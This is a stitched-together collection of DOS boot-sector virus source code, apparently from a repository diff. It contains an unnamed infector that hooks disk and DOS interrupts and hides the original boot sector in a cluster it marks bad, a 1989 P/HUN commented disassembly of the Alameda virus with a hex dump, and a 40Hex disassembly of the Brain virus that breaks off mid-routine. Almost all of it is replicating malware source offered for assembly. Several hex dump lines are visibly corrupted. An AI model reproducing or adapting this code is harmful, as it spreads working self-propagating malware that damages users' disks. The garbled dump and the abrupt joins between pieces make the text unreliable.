pop word ptr cs:[sys_sec-start]
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp word ptr cs:[sys_sec-start]
;Simulate POPA
popa:
pop word ptr cs:[sys_sec-start]
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp word ptr cs:[sys_sec-start]
;This procedure Reads/Writes the absolute sector in BX
;ES:BP must point I/O buffer
write:
mov ah,3
jmp short do_it
read:
mov ah,2
do_it:
mov al,1
xchg ax,bx
add ax,[001C] ;Hidden sectors
xor dx,dx
div word ptr [0018]
inc dl ;Adjust dl because BIOS counts sectors from 1 (not from 0)
mov ch,dl ;dl is the first sector
xor dx,dx
div word ptr [001A] ;Cylinder in AX
mov cl,6 ;Set CX if cylinder is bigger than 512
shl ah,cl
or ah,ch
xchg ax,cx
xchg ch,cl
xchg dh,dl
xchg ax,bx
abs_read:
xchg bx,bp
mov dl,byte ptr [drive-start] ;dl is the drive
pushf
db 9A
orig dd ?
jnc ok_func
pop ax
ok_func:
ret
begin:
xor ax,ax ;Virus begining
mov bp,7C00
mov ds,ax ;Clear ds&ss
mov ss,ax
mov sp,bp ;Set SP bellow virus
xchg ax,di
mov si,bp
mov ax,2000 ;Copy virus somewhere in memory
mov es,ax
mov cx,0100
rep movsw
push es
mov ax,offset here-start
push ax
retf ;go there
here:
mov ax,1234
cmp [80*4],ax
mov [80*4],ax
je skip_this
les bx,[1C*4] ;Get old int 1Ch value
mov cs:[work-start],bx
mov cs:[work-start+2],es
mov [1C*4],offset entry_1C-start ;Set new value
mov [1C*4+2],cs
skip_this:
les bx,[13*4] ;Save original int 13h
mov cs:[orig-start],bx
mov cs:[orig-start+2],es
push cs ;DS=ES=CS
push cs
pop ds
pop es
again:
mov ax,offset again-start
push ax
xor ah,ah ;Initialize Floppy
mov byte ptr [flag-start],ah
int 13
and byte ptr [drive-start],80 ;Drive A: or C:
mov bx,word ptr [old_boot-start] ;Read second part
mov bp,offset second-start
call read
mov bx,word ptr [old_boot-start]
inc bx
xor ax,ax
mov es,ax
mov bp,7C00
call read ;Read old Boot
db 0EA,00,7C,00,00 ;JMP 0000:7C00
entry_1C:
push si
push ds
xor si,si
mov ds,si
cmp [si+21*4],si
je not_yet
push bx
push es
les bx,cs:[si+work-start]
mov [si+1C*4],bx
mov [si+1C*4+2],es
les bx,[si+21*4]
mov word ptr cs:[si+jmp_21-start],bx
mov word ptr cs:[si+jmp_21-start+2],es
mov [si+21*4],offset go_on-start
mov [si+21*4+2],cs
pop es
pop bx
not_yet:
pop ds
pop si
iret
go_on:
call pusha
cmp ax,4B00
je install
return:
call popa
db 0EA
jmp_21 dd ?
install:
mov ah,52
int 21
xor si,si
xor di,di
mov ds,es:[bx-02]
mov bx,ds
mov ax,[si+3]
add [si+3],96
inc bx
add ax,bx
mov es,ax
push es
mov ax,es:[si+3]
sub ax,96
push ax
mov ax,[si+3]
add ax,bx
mov ds,ax
mov byte ptr [si],'Z'
mov [si+1],si
pop [si+3]
pop es
push cs
pop ds
mov cx,0200
rep movsw
mov ax,word ptr [jmp_21-start]
mov bx,word ptr [jmp_21-start+2]
mov ds,cx
mov [21*4],ax
mov [21*4+2],bx
mov ax,[13*4]
mov bx,[13*4+2]
mov es:[my-start],ax
mov es:[my-start+2],bx
mov [13*4],offset real-start
mov [13*4+2],es
jmp short return
real:
call pusha
cmp ah,02
jne exit
cmp dl,81
ja exit
mov byte ptr cs:[drive-start],dl
check:
xor ax,ax
mov ds,ax
mov byte ptr cs:[flag-start],al
mov al,byte ptr [043F]
push dx
test dl,80
jz ok_drive
sub dl,7F
shl dx,1
shl dx,1
dec dx
ok_drive:
inc dx
test al,dl
pop dx
jnz exit
push cs
push cs
pop es
pop ds
call infect
exit:
call popa
call_cur:
db 0EA
my dd ?
ident dw 01234
dw 0AA55
second label word
db '666'
infect:
push dx
xor ah,ah
int 1A
test dl,01
pop dx
jz bad
mov ax,0201
mov dh,0
mov cx,0001
mov bp,offset buffer-start
call abs_read
test dl,80
jz usual
mov bx,offset buffer-start+01BE
mov cx,0004
search:
cmp byte ptr [bx+4],1
je okay
cmp byte ptr [bx+4],4
je okay
add bx,10
loop search
ret
okay:
mov dx,[bx]
mov cx,[bx+2]
mov ax,0201
mov bp,offset buffer-start
call abs_read
usual:
mov si,offset buffer-start+3
mov di,0003
mov cx,1Bh
rep movsb
cmp [buffer-start+01FC],1234 ;Infected ?
jne well
bad:
ret
well:
cmp [0Bh],200 ;Bytes in sector
jne bad
cmp byte ptr [0Dh],2 ;Sectors in 1 cluster
jb bad
mov cx,[0E] ;Reserved dectors
mov al,[10] ;Copies of FAT
cbw
mul word ptr [16] ;FAT in sectors
add cx,ax
mov ax,20 ;32 bytes
mul word ptr [11] ;Elements in the catalogue
mov bx,1FF
add ax,bx
inc bx
div bx
add cx,ax
mov word ptr [sys_sec-start],cx ;system sectors
mov ax,[0013] ;Sectors on the disk
sub ax,cx
mov bl,[0Dh] ;Sectors in cluster
xor dx,dx
xor bh,bh
div bx
inc ax ;AX=clusters on disk
mov di,ax
and byte ptr [flag-start],0FE
cmp ax,0FF0
jbe small
or byte ptr [flag-start],1
small:
mov si,1
mov bx,[0E] ;Where to read FAT from
dec bx
mov [Fat_sec-start],bx
mov byte ptr [count-start],0FE
look_here:
inc word ptr [Fat_sec-start] ;Next sector in FAT
mov bx,[Fat_sec-start]
add byte ptr [count-start],2 ;Adjust for new offset
mov bp,offset buffer-start ;BP points buffer
call read ;Read FAT's sector
jmp short where
look:
mov ax,3 ;Multiply by 1.5 rounded down to integer number
test byte ptr [flag-start],1
je go_1
inc ax ;For 16 bit FAT
go_1:
mul si
shr ax,1
sub ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes
mov bx,ax
cmp bx,1FF ;If reached the end then load next FAT sector
jnb look_here
mov dx,[bx+buffer-start] ;Information for this cluster
test byte ptr [flag-start],01
jne go_2
test si,1
je go_3
mov cl,4
shr dx,cl
go_3:
and dh,0F
go_2:
or dx,dx ;Free cluster ?
jz found
where:
inc si
cmp si,di
jbe look
ret
found:
mov dx,0FFF7 ;Prepare for marking it as bad
test byte ptr [flag-start],1
jnz go_4
and dh,0F
test si,1
je go_4
mov cl,4
shl dx,cl
go_4:
or [bx+buffer-start],dx ;Set it in FAT
mov bx,[Fat_sec-start]
mov bp,offset buffer-start
call write ;Update 1'st FAT copy
mov ax,si ;Convert cluster address in si to sector number
sub ax,2
mov bl,byte ptr [0Dh]
xor bh,bh
mul bx
add ax,[sys_sec-start]
mov si,ax ;Si is the sector that is free
xor bx,bx
mov bp,offset buffer-start
call read ;Read old BOOTSECTOR
mov bx,si ;Put it in a quiet place
inc bx
mov bp,offset buffer-start
call write ;Do that
mov bx,si
mov [old_boot-start],si
mov bp,offset second-start
call write
xor bx,bx
xor bp,bp
call write
ret
this_ db 1024d-(this_-start) dup (0F6h)
buffer label word

@@ -0,0 +1,431 @@
P/HUN Issue #4, Volume 2: Phile 3 of 11
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A BOOT SECTOR VIRUS
5/15/89
The following is a disassembled and commented version of the Alemeda
College Boot infector virus. Courtesy of Southern Cross.
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
; it will attempt to infect any floppy it finds in drive A:. ;
; It keeps the real boot sector at track 39, sector 8, head 0 ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus ;
; will die. It also contains no anti detection mechanisms as does the ;
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
; sector 9 because this is common to all floppy formats both single ;
; sided and double sided. It does not contain any malevolent TROJAN ;
; HORSE code. It does appear to contain a count of how many times it ;
; has infected other diskettes although this is harmless and the count ;
; is never accessed. ;
; ;
; Things to note about this virus: ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other ;
; floppy diskettes. The only way to remove it from an infected system ;
; is to turn the machine off and reboot an uninfected copy of DOS. ;
; It is even resident when no floppy is booted but BASIC is loaded ;
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
; it activates and infectes the floppy from which the user is ;
; attempting to boot. ;
; ;
; Also note that because of the POP CS command to pass control to ;
; its self in upper memory, this virus does not to work on 80286 ;
; machines (because this is not a valid 80286 instruction). ;
; ;
; The Norton Utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to ;
; remove it (unlike the Pakistani Brain). ;
;-----------------------------------------------------------------------;
;
ORG 7C00H ;
;
TOS LABEL WORD ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
; 4. Jump to ourself at top of memory ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
;-----------------------------------------------------------------------;
BEGIN: CLI ;INITIALIZE STACK
XOR AX,AX ;
MOV SS,AX ;
MOV SP,offset TOS ;
STI ;
;
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
MOV DS,BX ;
MOV AX,[0013H] ;
MUL BX ;
SUB AX,07E0H ; (7C00H+512)/16
MOV ES,AX ;
;
PUSH CS ;DS = CS
POP DS ;
;
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
JNE B_10 ;
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
;
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
MOV DI,SI ;
MOV CX,512 ;
CLD ;
REP MOVSB ;
;
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
MOV CX,128 ;
REP MOVSB ;
;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
;
PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH
POP CS ; CS = ES
;
PUSH DS ;DS=0 ;ES = DS
POP ES ;
;
MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0
MOV CX,2708H ; TRACK 40, SECTOR 8
MOV AX,0201H ; READ SECTOR
INT 13H ; (common to 8/9 sect. 1/2 sided!)
JB $ ; HANG IF ERROR
;
JMP JMP_BOOT ;JMP 0000:7C00
;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR ;
; ;
; ON ENTRY: DS = 0 ;
; ES = WHERE TO SAVE OLD_09 & (HI) ;
; WHERE NEW_09 IS (HI) ;
;-----------------------------------------------------------------------;
PUT_NEW_09: ;
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
;
MOV SI,9*4 ;COPY INT 9 VECTOR TO
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
MOV CX,0004 ;
;
CLI ;
REP MOVSB ;
MOV Word Ptr [9*4],offset NEW_09
MOV [(9*4)+2],ES ;
STI ;
;
RET ;
;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
;-----------------------------------------------------------------------;
ACK_KEYBD: ;
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
MOV AH,AL ;
OR AL,80H ;
OUT 61H,AL ;
XCHG AL,AH ;
OUT 61H,AL ;
JMP RBOOT ;
;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
; REASON UNKNOWN ;
;-----------------------------------------------------------------------;
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
DB 27H,0,3,2 ;
DB 27H,0,4,2 ;
DB 27H,0,5,2 ;
DB 27H,0,6,2 ;
DB 27H,0,7,2 ;
DB 27H,0,8,2 ;
;
;A7C9A LABEL BYTE ;
DW 00024H ;NOT USED
DB 0ADH ;
DB 07CH ;
DB 0A3H ;
DW 00026H ;
;
;L7CA1: ;
POP CX ;NOT USED
POP DI ;
POP SI ;
POP ES ;
POP DS ;
POP AX ;
POPF ;
JMP 1111:1111 ;
;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ... ;
; IF ALT & CTRL & ? THEN ... ;
;-----------------------------------------------------------------------;
NEW_09: PUSHF ;
STI ;
;
PUSH AX ;
PUSH BX ;
PUSH DS ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME
IN AL,60H ;GET SCAN CODE
MOV AH,AL ;SAVE IN AH
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
;
CMP AL,1DH ;IS IT A [CTRL]...
JNE N09_10 ;...JUMP IF NO
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
JMP N09_30 ;
;
N09_10: CMP AL,38H ;IS IT AN [ALT]...
JNE N09_20 ;...JUMP IF NO
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
JMP N09_30 ;
;
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
JNE N09_30 ;...JUMP IF NO
;
CMP AL,17H ;IF [I]...
JE N09_X0 ;...JUMP IF YES
CMP AL,53H ;IF [DEL]...
JE ACK_KEYBD ;...JUMP IF YES
;
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
;
N09_90: POP DS ;
POP BX ;
POP AX ;
POPF ;
;
DB 0EAH ;JMP F000:E987
OLD_09 DW ? ;
DW 0F000H ;
;
N09_X0: JMP N09_X1 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
MOV AX,0800H ;AL=0, AH=DELAY ARG
OUT DX,AL ;
CALL DELAY ;
MOV [ALT_CTRL],AX ;AX=0 ;
;
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
INT 10H ;
MOV AH,2 ;SET CURSOR POS 0,0
XOR DX,DX ;
MOV BH,DH ; PAGE 0
INT 10H ;
;
MOV AH,1 ;SET CURSOR TYPE
MOV CX,0607H ;
INT 10H ;
;
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
CALL DELAY ;
;
CLI ;
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
;
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
MOV SI,offset BEGIN - 128 ;
MOV CX,128 ;
CLD ;
REP MOVSB ;
;
MOV DS,CX ;CX=0 ;DS=0
;
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
MOV [(19H*4)+2],CS ;
;
MOV AX,0040H ;DS = ROM DATA AREA
MOV DS,AX ;
;
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
;
PUSH DS ;IF BIOS F000:E502 == 21E4...
MOV AX,0F000H ;
MOV DS,AX ;
CMP Word Ptr [0E502H],21E4H ;
POP DS ;
JE R_90 ;
INT 19H ; IF NOT...REBOOT
;
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR ;
;-----------------------------------------------------------------------;
NEW_19: XOR AX,AX ;
;
MOV DS,AX ;DS=0
MOV AX,[0410] ;AX=EQUIP FLAG
TEST AL,1 ;IF FLOPPY DRIVES ...
JNZ N19_20 ;...JUMP
N19_10: PUSH CS ;ELSE ES=CS
POP ES ;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
INT 18H ;LOAD BASIC
;
N19_20: MOV CX,0004 ;RETRY COUNT = 4
;
N19_22: PUSH CX ;
MOV AH,00 ;RESET DISK
INT 13 ;
JB N19_81 ;
MOV AX,0201 ;READ BOOT SECTOR
PUSH DS ;
POP ES ;
MOV BX,offset BEGIN ;
MOV CX,1 ;TRACK 0, SECTOR 1
INT 13H ;
N19_81: POP CX ;
JNB N19_90 ;
LOOP N19_22 ;
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
;
;-----------------------------------------------------------------------;
; Reinfection segment. ;
;-----------------------------------------------------------------------;
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
JNZ RE_INFECT ;...RE INFECT
;
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
JMP 0000:7C00H ;
;
;-----------------------------------------------------------------------;
; Reinfection Segment. ;
;-----------------------------------------------------------------------;
RE_INFECT: ;
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
MOV CX,00E6H ; OURSELF
MOV DI,SI ;
PUSH CS ;
POP ES ;
CLD ;
REPE CMPSB ;
JE RI_12 ;IF NOT EQUAL...
;
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
MOV BX,offset TABLE ;FORMAT INFO
MOV DX,0000 ;DRIVE A: HEAD 0
MOV CH,40-1 ;TRACK 39
MOV AH,5 ;FORMAT
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
;
; <<< NO EXECUTION PATH TO HERE >>> ;
JB RI_80 ;
;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
MOV BX,offset BEGIN ;TRACK 40H
MOV CL,8 ;SECTOR 8
MOV AX,0301H ;WRITE 1 SECTOR
INT 13H ;
;
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
POP ES ;
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
;
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
MOV AX,0301 ;
INT 13H ;
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
;
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
INT 19H ;...FLAG AND REBOOT
;
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
JMP JMP_BOOT ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
;
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
MOV BX,0040H ;
MOV DS,BX ;
MOV [0072H],AX ; 0040:0072 = RESET FLAG
JMP N09_90 ;
;
;-----------------------------------------------------------------------;
; DELAY ;
; ;
; ON ENTRY AH:CX = LOOP COUNT ;
;-----------------------------------------------------------------------;
DELAY: SUB CX,CX ;
D_01: LOOP $ ;
SUB AH,1 ;
JNZ D_01 ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A7DF4 DB 27H,00H,8,2
COUNTER_1 DW 001CH
ALT_CTRL DW 0
A7DFC DB 27H,0,8,2
END
;-----------------------------------------------------------------------;
; Hexadecimal representation. ;
;-----------------------------------------------------------------------;
;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!.
;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u.
;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N
;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h.......
;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8.
;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$
;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D
;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'.
;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'.
;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#&
;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P
;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..<
;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk..
;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t.<St...z
;7CE0 7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X.
;7CF0 B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02 ..nhs.#z}0.M.4.
;7D00 31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04 1R..4.9..M.8 .
;7D10 E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00 hW.zfA.O>.{9..
;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8
;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p
;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e
;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u..
;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8
;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg
;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.|
;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x
;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r..
;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9
;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h.
;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x};
;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l
;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'...
;---------------------------------------------------------------------;
End of commented code for the Alameda College Boot Infector Virus.
+687
View File
@@ -0,0 +1,687 @@
40Hex Number 8 Volume 2 Issue 4 File 008
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '..... $'
db '#@%$'
db '@!! '
entervirus:
mov ax,cs
mov ds,ax ; ds = 0
mov ss,ax ; set stack to after
mov sp,0F000h ; virus
sti
mov al,ds:[7C00h+offset firsthead]
mov ds:[7C00h+offset curhead],al
mov cx,ds:[7C00h+offset firstsector]
mov ds:[7C00h+offset cursector],cx
call calcnext
mov cx,5 ; read five sectors
mov bx,7C00h+200h ; after end of virus
loadnext:
call readdisk
call calcnext
add bx,200h
loop loadnext
mov ax,word ptr ds:[413h] ; Base memory size in Kb
sub ax,7 ; - 7 Kb
mov word ptr ds:[413h],ax ; Insert as new value
mov cl,6
shl ax,cl ; Convert to paragraphs
mov es,ax
mov si,7C00h ; Copy from virus start
mov di,0 ; to start of memory
mov cx,1004h ; Copy 1004h bytes
cld
rep movsb
push es
mov ax,200h
push ax
retf ; return to old boot sector
readdisk:
push cx
push bx
mov cx,4 ; Try 4 times
tryread:
push cx
mov dh,ds:[7C00h+offset curhead]
mov dl,0 ; Read sector from default
mov cx,ds:[7C00h+offset cursector]
mov ax,201h ; Disk to memory at es:bx
int 13h
jnc readOK
mov ah,0 ; Reset disk
int 13h ; (force read track 0)
pop cx
loop tryread
int 18h ; ROM basic on failure
readOK:
pop cx
pop bx
pop cx
retn
calcnext:
mov al,byte ptr ds:[7C00h+offset cursector]
inc al
mov byte ptr ds:[7C00h+offset cursector],al
cmp al,0Ah
jne donecalc
mov byte ptr ds:[7C00h+offset cursector],1
mov al,ds:[7C00h+offset curhead]
inc al
mov ds:[7C00h+offset curhead],al
cmp al,2
jne donecalc
mov byte ptr ds:[7C00h+offset curhead],0
inc byte ptr ds:[7C00h+offset cursector+1]
donecalc:
retn
; the following is a collection of garbage bytes
db 00h, 00h, 00h, 00h, 32h,0E3h
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
db 0CDh, 21h,0A2h, 3Ch, 5Fh
a_data dw 050Ch
; Second part of the virus begins here
jmp short entersecondpart
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter db 4 ; keep track of # reads
curdrive db 0
int13flag db 0
entersecondpart:
mov cs:readcounter,1Fh
xor ax,ax
mov ds,ax ; ds -> interrupt table
mov ax,ds:[13h*4]
mov ds:[6Dh*4],ax
mov ax,ds:[13h*4+2]
mov ds:[6Dh*4+2],ax
mov ax,offset int13 ; 276h
mov ds:[13h*4],ax
mov ax,cs
mov ds:[13h*4+2],ax
mov cx,4 ; 4 tries
xor ax,ax
mov es,ax ; es -> interrupt table
tryreadbootsector:
push cx
mov dh,cs:firsthead
mov dl,0
mov cx,cs:firstsector
mov ax,201h ; read from default disk
mov bx,7C00h
int 6Dh ; int 13h
jnc readbootOK
mov ah,0
int 6Dh ; int 13h
pop cx
loop tryreadbootsector
int 18h ; ROM basic on failure
readbootOK: ; return control to
; original boot sector
;* jmp far ptr 0000:7C00h
db 0EAh, 00h, 7Ch, 00h, 00h
nop ; MASM NOP!!!
int13:
sti
cmp ah,2 ; if not read request,
jne doint13 ; do not go further
cmp dl,2 ; if after second floppy,
ja doint13 ; do not go further
cmp ch,0 ; if not reading boot sector,
jne regularread ; go handle as usual
cmp dh,0 ; if boot sector,
je readboot ; do I<-/>/\|> stuff
regularread:
dec cs:readcounter ; Infect after 4 reads
jnz doint13 ; If counter still OK, don't
; do anything else
jmp short readboot ; Otherwise, try to infect
doint13:
jmp exitint13h
readboot:
; FINISH THIS!
mov cs:int13flag,0 ; clear flag
mov cs:readcounter,4 ; reset counter
push ax
push bx
push cx
push dx
mov cs:curdrive,dl
mov cx,4
tryreadbootblock:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errorreadingbootblock ; Try again
mov dh,0
mov cx,1
mov bx,offset readbuffer ; buffer @ 6BEh
push es
mov ax,cs
mov es,ax
mov ax,201h
int 6Dh ; Read boot sector
pop es
jnc continuestuff ; continue if no error
errorreadingbootblock:
pop cx
loop tryreadbootblock
jmp short resetdisk ; too many failures
nop
continuestuff:
pop cx ; get system id in boot block
mov ax,word ptr cs:[offset readbuffer+4]
cmp ax,1234h ; already infected?
jne dodisk ; if not, infect it
mov cs:int13flag,1 ; flag prev. infection
jmp short noreset
dodisk:
push ds
push es
mov ax,cs
mov ds,ax
mov es,ax
push si
call writevirus ; infect the disk
jc failme ; exit on failure
mov cs:int13flag,2 ; flag success
call changeroot ; manipulate volume label
failme:
pop si
pop es
pop ds
jnc noreset ; don't reset on success
resetdisk:
mov ah,0 ; reset disk
int 6Dh ; int 13h
noreset:
pop dx
pop cx
pop bx
pop ax
cmp cx,1
jne exitint13h
cmp dh,0
jne exitint13h
cmp cs:int13flag,1 ; already infected?
jne wasntinfected ; if wasn't, go elsewhere
mov cx,word ptr cs:[offset readbuffer+7]
mov dx,word ptr cs:[offset readbuffer+5]
mov dl,cs:curdrive ; otherwise, read real
jmp short exitint13h ; boot sector
wasntinfected:
cmp cs:int13flag,2 ; successful infection?
jne exitint13h ; if not, just do call
mov cx,cs:firstsector
mov dh,cs:firsthead
exitint13h:
int 6Dh ; int 13h
retf 2
db 15 dup (0)
FATManip: ; returns al as error code
jmp short delvedeeper
nop
FATManipreadcounter dw 3
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
call readFAT ; Get FAT ID byte
mov ax,word ptr ds:[offset readbuffer]
cmp ax,0FFFDh ; is it 360K disk?
je is360Kdisk ; continue if so
mov al,3 ; al=3 == not good disk
stc ; flag error
retn ; and exit
is360Kdisk:
mov cx,37h
mov FATManipreadcounter,0 ; none found yet
checknextsector:
call FATentry12bit ; get entry in FAT
cmp ax,0 ; unused?
jne notunused
inc FATManipreadcounter ; one more found unused
cmp FATManipreadcounter,3 ; If need more,
